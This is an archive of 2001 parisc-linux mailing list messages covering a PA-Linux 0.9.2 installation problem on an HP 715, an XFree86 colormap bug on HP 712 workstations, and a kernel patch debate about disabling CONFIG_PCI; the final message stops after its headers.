having a lot of problems trying to install version 0.9.2 on my HP 715 W/S.
The problems
I have encountered so far are:

1. The first step in the installation menus (Configure the Keyboard) doesn't
seem to work:
after I followed its first 2 or 3 instructions (choosing US QWERTY keyboard)
the keyboard arrows
and the Return key stop functioning normally (or sometimes don't work at
all).

2. If I skip the first step and go on to and complete Partition a Hard Disk
(selecting my
/dev/sdb drive, since my sda boots HPUX) I am able to complete successfully
the following
five steps:
	Initialize and Activate a Swap Partition
	Initialize a Linux Partition (I did this to /dev/sdb3 and /dev/sdb4)
	Install Operating System Kernel and Modules
	Configure Device Driver Modules (I did kernel/fs/fat, kernel/fs/msdos and
kernel/fat/nfsd)
	Configure the Network

But, I am having trouble with the step "Install the Base System":  When I
try to follow this step,
choose CD-ROM drive and press Continue I get the message "The CD-ROM was not
mounted successfully".
If I press again Continue and attempt again to do "Install the Base System",
I then get to a point
where I am asked to choose a directory.  If I click OK (without choosing
anything; i.e. with the
choice field all blue) it asks me to "Select an Archive path" and shows a
default of /insmnt. If I
press Return, I get an "Important Note" telling me to install the 'testing'
distribution (woody)
rather than sid.  If I then hit continue, I am presented with 2 choices:
	testing: 'woody' - Debian Testing - Not Released
and 	unstable: 'sid' - Debian Unstable - Not Released

If I choose 'woody', I get an Error message: Failed getting release file
	file: /instmnt/dists/woody/Release
If I try the second ('sid') I am given a Warning that this is an unstable
distribution, has Major
bugs and the default is do not install.

I have then tried many times to repeat "Install the Base System", searching
for the correct
directory within the installation CD that has the Release version of the
0.9.2 PALINUX without
success: no matter where I look within the CD I am always presented with the
same 2 choices:
	testing: 'woody' - Debian Testing - Not Released
and 	unstable: 'sid' - Debian Unstable - Not Released

I finally decided to ignore the Warning and I succeeded at installing the
unstable 'sid' version,
except that at some point in the installation process I got the Warning:
"Creating empty exim.conf
so exim installs okay".  At a later point in the installation process I am
given the default choice
of Make the System Bootable, and if I choose that, I then get the choices:
	Next	   : Make a boot Floppy
and	Alternate: Reboot the System

If I choose the first, I get a message that there is a Problem and asked to
check if the floppy is
write-protected (which it is not) or that I put it in the first (?) (Do you
mean to check if the
floppy is in the drive, before clicking the first choice "Make a boot
Floppy"?)  That's what I did,
but it didn't work.

I then chose the second: "Reboot the System" and I was able to boot OK to
the Debian System Configuration
screen (except that I randomly get the following messages:
	ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
	skb: pf=2 (unowned) dev=lo len=328
	PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

I was then able to successfully go through most of the Debian System
Configuration screens until I got
to the Apt Configuration, where I got the message "Cannot access security
updates" on security.debian.org.

After choosing Continue, I was able to complete the installation and I am
able to log in as root.
But, I still get the same random messages:
	ip_local_deliver: bad loopback skb: PRE_ROUTING LOCAL_IN
	skb: pf=2 (unowned) dev=lo len=328
	PROTO=17 0.0.0.0:68 255.255.255.255:67 L=328 S=0x10 I=0 F=0x0000 T=16

One other thing I noticed is that, even though I had assigned the address
192.168.1.205 to my workstation
(and I chose not to use DHCP), I found out that the machine'd address was
instead 192.168.1.102, and I think
that it is using DHCP.  (How can I verify this?)

So my question is how do I install the Release version of the 0.9.2 PALINUX?


-----Original Message-----
From: Matt Taggart [mailto:taggart@carmen.fc.hp.com]
Sent: Tuesday, August 14, 2001 5:17 PM
To: Jaime Ash
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] Creating the installation CD



"Jaime Ash" writes...

> So my question to you is, what is the process for going from the *.iso
file
> to create the CD.

The file you grabbed is gzipped so you'll need to gunzip it first. Then use
your favorite CD burning software to burn it as is. I use X-CD-Roast but you
can even use MSWindows based programs (or so I've heard).

If you have problems booting, send the errors to the list.

--
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation



-----Original Message-----
From: jaimeash@home.com
To: parisc-linux@lists.parisc-linux.org
Subject: Creating the installation CD


I am in the process of trying to upgrade my PA-Linux machine (model HP 715)
from version 0.6 to version 0.9.2, and also trying to install version 0.9.2
on an HP 735.

I have already extracted the file named "palinux-0.9.2.iso" from the
downloaded file, but I do not know how to proceed from there to create the
installation CD.  (Note that for version 0.6 I had used an installation CD
that I got from Grant Grundler, so I never learned how he created the CD,
and now he is on LOA).

So my question to you is, what is the process for going from the *.iso file
to create the CD.

Sincerely,

Jaime Ash
email: jaimeash@home.com





From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: caslivkoff@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Sat, 18 Aug 2001 15:13:14 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <3B7EBE4A.B122B1FA@yahoo.com>
References: <3B7DE89A.5A665A16@yahoo.com> <3B7E9021.AA279076@iiic.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620392 23782 80.91.229.3 (22 Nov 2014 01:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:52 +0000 (UTC)
Cc: xpert@XFree86.Org, parisc-linux@lists.parisc-linux.org
To: Michel =?iso-8859-1?Q?D=E4nzer?= <michdaen@iiic.ethz.ch>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 13:10:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp010.mail.yahoo.com (smtp010.mail.yahoo.com [216.136.173.30])
	by dsl2.external.hp.com (Postfix) with SMTP id 4C266482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 13:10:44 -0600 (MDT)
Original-Received: from dsl-64-128-230-1.telocity.com (HELO yahoo.com) (64.128.230.1)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 18 Aug 2001 19:10:42 -0000
X-Apparently-From: <caslivkoff@yahoo.com>
Original-Sender: chuck@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6-686 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11907

[[ I'm cross-posting this to both mailing lists.  ]]
[[ Someone let me know if this is a problem.      ]]

Michel D=E4nzer wrote:
> =

> caslivkoff@yahoo.com wrote:
> =

> > I posted this to the parisc-linux mailing list, but so far, no
> > responses. Can anyone offer a suggestion? The fbdev driver is "suppos=
ed"
> > to work with the graphics in the 712/60. I also tried this on a secon=
d
> > 712 with the same behavior. What's wierd is that other colors appear =
OK.
> > I'm attaching the XFree86.0.log.
> >
> > -----------------------------------------------------
> >
> > I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
> > driver. It seems to be OK, with the exception that "white" is "blue".=
 If
> > I xwd the root  window dump and examine it on another X display, it
> > looks fine.
> =

> The fbdev driver uses the framebuffer device to set the colormap, which=
 works
> in general (at least for me ;), so I suspect there is a problem with th=
e
> framebuffer device.

That's what I though too, but I've tried this on 2 different 712's and
have the same behavior. What is strange is that the framebuffer can
display white text with no problem on the console (the default cursor is
white). Also, under X, specifying #fefefe shows up as "almost white".

Any other ideas?  I thought that possibly the rgb.txt was not getting
loaded, but I'm fairly certain that it is.

_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com





From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel =?iso-8859-1?Q?D=E4nzer?= <michdaen@iiic.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Sat, 18 Aug 2001 21:29:13 +0200
Organization: Debian, XFree86
Lines: 49
Approved: news@gmane.org
Message-ID: <3B7EC209.87A159D2@iiic.ethz.ch>
References: <3B7DE89A.5A665A16@yahoo.com> <3B7E9021.AA279076@iiic.ethz.ch> <3B7EBE4A.B122B1FA@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620392 23786 80.91.229.3 (22 Nov 2014 01:39:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:52 +0000 (UTC)
Cc: xpert@XFree86.Org, parisc-linux@lists.parisc-linux.org
To: caslivkoff@yahoo.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 13:29:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pismo (dclient217-162-20-87.hispeed.ch [217.162.20.87])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95D47482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 13:29:40 -0600 (MDT)
Original-Received: from pismo ([127.0.0.1] helo=iiic.ethz.ch)
	by pismo with esmtp (Exim 3.31 #1 (Debian))
	id 15YBmT-0002xG-00; Sat, 18 Aug 2001 21:29:13 +0200
Original-Sender: daenzer@dsl2.external.hp.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.4.8-ben0 ppc)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11908

caslivkoff@yahoo.com wrote:

> Michel Dnzer wrote:
> >
> > caslivkoff@yahoo.com wrote:
> >
> > > I posted this to the parisc-linux mailing list, but so far, no
> > > responses. Can anyone offer a suggestion? The fbdev driver is "supposed"
> > > to work with the graphics in the 712/60. I also tried this on a second
> > > 712 with the same behavior. What's wierd is that other colors appear OK.
> > > I'm attaching the XFree86.0.log.
> > >
> > > -----------------------------------------------------
> > >
> > > I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
> > > driver. It seems to be OK, with the exception that "white" is "blue". If
> > > I xwd the root  window dump and examine it on another X display, it
> > > looks fine.
> >
> > The fbdev driver uses the framebuffer device to set the colormap, which
> > works in general (at least for me ;), so I suspect there is a problem with
> > the framebuffer device.
> 
> That's what I though too, but I've tried this on 2 different 712's and
> have the same behavior.

But I assume you use the same framebuffer device on both? (Note that when I
say framebuffer device, I refer to the Linux kernel driver)

> What is strange is that the framebuffer can display white text with no
> problem on the console (the default cursor is white). Also, under X,
> specifying #fefefe shows up as "almost white".

There are no known problems with the XFree86 fbdev colormap handling, but
maybe you have found one... :)


> Any other ideas?  I thought that possibly the rgb.txt was not getting
> loaded, but I'm fairly certain that it is.

You can easily check with grep -i rgb /var/log/XFree86.0.log .


-- 
Earthling Michel Dnzer (MrCooper)    \   Debian GNU/Linux (powerpc) developer
CS student, Free Software enthusiast   \        XFree86 and DRI project member




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Turn off CONFIG_PCI
Date: Sat, 18 Aug 2001 21:37:06 +0200
Lines: 129
Approved: news@gmane.org
Message-ID: <20010818193908.2DE79482A@dsl2.external.hp.com>
References: <E15Xdn8-0000kt-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620393 23788 80.91.229.3 (22 Nov 2014 01:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:53 +0000 (UTC)
To: Matthew Wilcox <willy@ldl.fc.hp.com>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 13:39:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 2DE79482A
	for <parisc-linux@parisc-linux.org>; Sat, 18 Aug 2001 13:39:08 -0600 (MDT)
Original-Received: (qmail 5290 invoked by uid 0); 18 Aug 2001 19:39:05 -0000
Original-Received: from pd9040d56.dip.t-dialin.net (HELO there) (217.4.13.86)
  by mail.gmx.net (mp001-rz3) with SMTP; 18 Aug 2001 19:39:05 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <E15Xdn8-0000kt-00@chrysl>
Xref: news.gmane.org gmane.linux.ports.parisc:11909

Hi Matthew,

I tested your patch sucessfully on my c3k and my 715/64.
I've only added a small security check to setup.c to prevent PA2.x machines
from booting without CONFIG_PCI and to print a small panic-message
at bootup instead of just HPMC'ing.
Please commit if nobody else complains, 

Greetings,
Helge

Index: linux/arch/parisc/kernel/setup.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/setup.c,v
retrieving revision 1.88
diff -u -r1.88 setup.c
--- setup.c	2001/08/16 20:57:18	1.88
+++ setup.c	2001/08/18 19:21:47
@@ -401,6 +401,18 @@
 	cache_init();
 	paging_init();
 
+#ifndef CONFIG_PCI
+	/* security check: PA2.x processor machines won't detect their main
+	 * PCI-based devices (screen, serial, SCSI, ...), so it's better to
+	 * stop them from booting right here. If we would continue we would
+	 * only get a HPMC without any other information. */
+	if (boot_cpu_data.cpu_type >= pcxu) { /* >=PA8000 (PCX-U) CPU ? */
+		/* switch back to PDC console for panic */
+		pdc_console_restart();
+		panic("This system will not boot without PCI-support in the kernel !\n");
+	}
+#endif
+	
 #ifdef CONFIG_CHASSIS_LCD_LED
 	/* initialize the LCD/LED after boot_cpu_data is available ! */
         led_init();				/* LCD/LED initialization */
Index: linux/drivers/char/serial.c
===================================================================
RCS file: /home/cvs/parisc/linux/drivers/char/serial.c,v
retrieving revision 1.25
diff -u -r1.25 serial.c
--- serial.c	2001/08/17 06:10:06	1.25
+++ serial.c	2001/08/18 19:21:56
@@ -414,11 +414,7 @@
 		return readb((unsigned long) info->iomem_base +
 			     (offset<<info->iomem_reg_shift));
 	default:
-#if defined(CONFIG_PCI) || defined(CONFIG_ISA)
 		return inb(info->port + offset);
-#else
-		BUG();
-#endif
 	}
 }
 
@@ -437,11 +433,7 @@
 			      (offset<<info->iomem_reg_shift));
 		break;
 	default:
-#if defined(CONFIG_PCI) || defined(CONFIG_ISA)
 		outb(value, info->port+offset);
-#else
-		BUG();
-#endif
 	}
 }
 
Index: linux/include/asm-parisc/io.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/io.h,v
retrieving revision 1.22
diff -u -r1.22 io.h
--- io.h	2001/07/15 22:30:29	1.22
+++ io.h	2001/08/18 19:22:08
@@ -43,9 +43,6 @@
 #endif /* USE_HPPA_IOREMAP */
 
 #if defined(CONFIG_PCI) || defined(CONFIG_ISA)
-/*
- *	So we get clear link errors 
- */
 extern unsigned char inb(unsigned long addr);
 extern unsigned short inw(unsigned long addr);
 extern unsigned int inl(unsigned long addr);
@@ -53,7 +50,28 @@
 extern void outb(unsigned char b, unsigned long addr);
 extern void outw(unsigned short b, unsigned long addr);
 extern void outl(unsigned int b, unsigned long addr);
+#else
+static inline char inb(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
 
+static inline short inw(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
+
+static inline int inl(unsigned long addr)
+{
+	BUG();
+	return -1;
+}
+
+#define outb(x, y)	BUG()
+#define outw(x, y)	BUG()
+#define outl(x, y)	BUG()
 #endif
 
 extern void memcpy_fromio(void *dest, unsigned long src, int count);




On Friday 17 August 2001 09:11, Matthew Wilcox wrote:
> A number of people have been asking for the ability to turn off CONFIG_PCI,
> and while I was reviewing the outstanding diff vs 2.4.9, I noticed I could
> take out some of the patch if I just made some slight alterations.  Please
> test this patch; it compiles for me.
>
... <original patch deleted>...





From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Sat, 18 Aug 2001 21:46:46 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20010818194852.79AE7482A@dsl2.external.hp.com>
References: <3B7DE89A.5A665A16@yahoo.com> <3B7EBE4A.B122B1FA@yahoo.com> <3B7EC209.87A159D2@iiic.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620393 23798 80.91.229.3 (22 Nov 2014 01:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:53 +0000 (UTC)
Cc: xpert@XFree86.Org, parisc-linux@lists.parisc-linux.org
To: Michel =?iso-8859-1?q?D=E4nzer?= <michdaen@iiic.ethz.ch>,
	caslivkoff@yahoo.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 13:48:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 79AE7482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 13:48:52 -0600 (MDT)
Original-Received: (qmail 17478 invoked by uid 0); 18 Aug 2001 19:48:50 -0000
Original-Received: from pd9040d56.dip.t-dialin.net (HELO there) (217.4.13.86)
  by mail.gmx.net (mp010-rz3) with SMTP; 18 Aug 2001 19:48:50 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <3B7EC209.87A159D2@iiic.ethz.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:11910

> > That's what I though too, but I've tried this on 2 different 712's and
> > have the same behavior.
>
> But I assume you use the same framebuffer device on both? (Note that when I
> say framebuffer device, I refer to the Linux kernel driver)

Both 712 have the same Graphics chip ("Artist") and use the same stifb driver (it's 
also the only one which supports HP's build-in graphics atm).

> > What is strange is that the framebuffer can display white text with no
> > problem on the console (the default cursor is white). Also, under X,
> > specifying #fefefe shows up as "almost white".
>
> There are no known problems with the XFree86 fbdev colormap handling, but
> maybe you have found one... :)

This is definitively a bug in the linux kernel stifb driver.
I wrote (migrated) most parts of this stifb driver and it works perfectly without any
color-problems together with the XFree86 fbdev driver here on my 715/64. 
The 715/64 has the Artist graphics chip too, so I suspect we just need some more 
initialization for the "older revisions" of the Artist chip in the 712 machines.

Greetings,
Helge




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dr Andrew C Aitchison <A.C.Aitchison@dpmms.cam.ac.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Sat, 18 Aug 2001 20:55:19 +0100 (BST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108182048110.3587-100000@harrier.dpmms.cam.ac.uk>
References: <3B7EBE4A.B122B1FA@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620393 23810 80.91.229.3 (22 Nov 2014 01:39:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:53 +0000 (UTC)
Cc: Michel =?iso-8859-1?Q?D=E4nzer?= <michdaen@iiic.ethz.ch>,
	<xpert@xfree86.org>, <parisc-linux@lists.parisc-linux.org>
To: <caslivkoff@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 13:58:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.dpmms.cam.ac.uk (smtp.dpmms.cam.ac.uk [131.111.24.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56843482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 Aug 2001 13:58:14 -0600 (MDT)
Original-Received: from [131.111.24.245] (helo=harrier.dpmms.cam.ac.uk ident=exim)
	by smtp.dpmms.cam.ac.uk with esmtp (Exim 3.16 #3)
	id 15YCBa-00013n-00; Sat, 18 Aug 2001 20:55:10 +0100
Original-Received: from werdna (helo=localhost)
	by harrier.dpmms.cam.ac.uk with local-esmtp (Exim 3.22 #6)
	id 15YCBj-0000xo-00; Sat, 18 Aug 2001 20:55:19 +0100
In-Reply-To: <3B7EBE4A.B122B1FA@yahoo.com>
Original-Sender: Dr Andrew C Aitchison <werdna@dpmms.cam.ac.uk>
X-Scanner: exiscan *15YCBa-00013n-00*W/9toxVjJ86* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:11911

On Sat, 18 Aug 2001 caslivkoff@yahoo.com wrote:
> > > I posted this to the parisc-linux mailing list, but so far, no
> > > responses. Can anyone offer a suggestion? The fbdev driver is "suppos=
ed"
> > > to work with the graphics in the 712/60. I also tried this on a secon=
d
> > > 712 with the same behavior. What's wierd is that other colors appear =
OK.
> > >
> > > I just loaded the ISO on a 712/60 and setup XFree86 to use the fbdev
> > > driver. It seems to be OK, with the exception that "white" is "blue".=
 If

> Michel D=E4nzer wrote:
> > The fbdev driver uses the framebuffer device to set the colormap, which=
 works
> > in general (at least for me ;), so I suspect there is a problem with th=
e
> > framebuffer device.

> Any other ideas?  I thought that possibly the rgb.txt was not getting
> loaded, but I'm fairly certain that it is.

It does sound as though the active colormap isn't being initialized fully.
Does the 712/60 have more than one colormap ?

--=20
Dr. Andrew C. Aitchison=09=09Computer Officer, DPMMS, Cambridge
A.C.Aitchison@dpmms.cam.ac.uk=09http://www.dpmms.cam.ac.uk/~werdna






From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Turn off CONFIG_PCI
Date: Sat, 18 Aug 2001 23:37:00 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010818233700.A14486@parcelfarce.linux.theplanet.co.uk>
References: <E15Xdn8-0000kt-00@chrysl> <20010818193908.2DE79482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620394 23820 80.91.229.3 (22 Nov 2014 01:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:54 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 16:37:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6860F482A
	for <parisc-linux@parisc-linux.org>; Sat, 18 Aug 2001 16:37:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15YEiC-0005j9-00; Sat, 18 Aug 2001 23:37:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010818193908.2DE79482A@dsl2.external.hp.com>; from deller@gmx.de on Sat, Aug 18, 2001 at 09:37:06PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11912

On Sat, Aug 18, 2001 at 09:37:06PM +0200, Helge Deller wrote:
> I tested your patch sucessfully on my c3k and my 715/64.
> I've only added a small security check to setup.c to prevent PA2.x machines
> from booting without CONFIG_PCI and to print a small panic-message
> at bootup instead of just HPMC'ing.

> +#ifndef CONFIG_PCI
> +	/* security check: PA2.x processor machines won't detect their main
> +	 * PCI-based devices (screen, serial, SCSI, ...), so it's better to
> +	 * stop them from booting right here. If we would continue we would
> +	 * only get a HPMC without any other information. */
> +	if (boot_cpu_data.cpu_type >= pcxu) { /* >=PA8000 (PCX-U) CPU ? */
> +		/* switch back to PDC console for panic */
> +		pdc_console_restart();
> +		panic("This system will not boot without PCI-support in the kernel !\n");
> +	}
> +#endif

I don't believe this is appropriate.  Cxxx / Jxxx machines use Lasi for
their serial port, so it's theoretically possible to boot one without
CONFIG_PCI.  If the user wants to turn it off, let them.  It's not like
any other architecture does anything like this.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Turn off CONFIG_PCI
Date: Sun, 19 Aug 2001 00:59:41 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20010818230140.3B894482A@dsl2.external.hp.com>
References: <E15Xdn8-0000kt-00@chrysl> <20010818193908.2DE79482A@dsl2.external.hp.com> <20010818233700.A14486@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620394 23831 80.91.229.3 (22 Nov 2014 01:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:54 +0000 (UTC)
Cc: Matthew Wilcox <willy@ldl.fc.hp.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 18 17:01:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 3B894482A
	for <parisc-linux@parisc-linux.org>; Sat, 18 Aug 2001 17:01:40 -0600 (MDT)
Original-Received: (qmail 3547 invoked by uid 0); 18 Aug 2001 23:01:38 -0000
Original-Received: from pd9040d56.dip.t-dialin.net (HELO there) (217.4.13.86)
  by mail.gmx.net (mp011-rz3) with SMTP; 18 Aug 2001 23:01:38 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <20010818233700.A14486@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11913

On Sunday 19 August 2001 00:37, Matthew Wilcox wrote:
> On Sat, Aug 18, 2001 at 09:37:06PM +0200, Helge Deller wrote:
> > I tested your patch sucessfully on my c3k and my 715/64.
> > I've only added a small security check to setup.c to prevent PA2.x
> > machines from booting without CONFIG_PCI and to print a small
> > panic-message at bootup instead of just HPMC'ing.
> >
> > +#ifndef CONFIG_PCI
> > +	/* security check: PA2.x processor machines won't detect their main
> > +	 * PCI-based devices (screen, serial, SCSI, ...), so it's better to
> > +	 * stop them from booting right here. If we would continue we would
> > +	 * only get a HPMC without any other information. */
> > +	if (boot_cpu_data.cpu_type >= pcxu) { /* >=PA8000 (PCX-U) CPU ? */
> > +		/* switch back to PDC console for panic */
> > +		pdc_console_restart();
> > +		panic("This system will not boot without PCI-support in the kernel
> > !\n"); +	}
> > +#endif
>
> I don't believe this is appropriate.  Cxxx / Jxxx machines use Lasi for
> their serial port, so it's theoretically possible to boot one without
> CONFIG_PCI.  If the user wants to turn it off, let them.  It's not like
> any other architecture does anything like this.

Sure, Cxxx and Jxxx may have LASI, but if I'm correct they all have a 32bit PA7XXX 
CPU and thus won't be catched by this check.
Machines with a PA8XXX CPU don't have any LASI/GSC devices and would _always_ 
HPMC without PCI support. So I still think it is better to panic() with a nice message 
instead of just let the user guess why the machine suddenly HPMC'ed with this kernel 
and start asking on the parisc-linux list.
  
Helge




From - Thu Nov 08 21:18:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Turn off CONFIG_PCI
Date: Sun, 19 Aug 2001 00:04:41 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010819000441.B14486@parcelfarce.linux.theplanet.co.uk>
References: <E15Xdn8-0000kt-00@chrysl> <20010818193908.2DE79482A@dsl2.external.hp.com> <20010818233700.A14486@parcelfarce.linux.theplanet.co.uk> <E15YF67-0000tK-00@master.debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620394 23840 80.91.229.3 (22 Nov 2014 01:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:54 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Matthew Wilcox <willy@ldl.fc.hp.com>, parisc-linux@parisc-linux.org
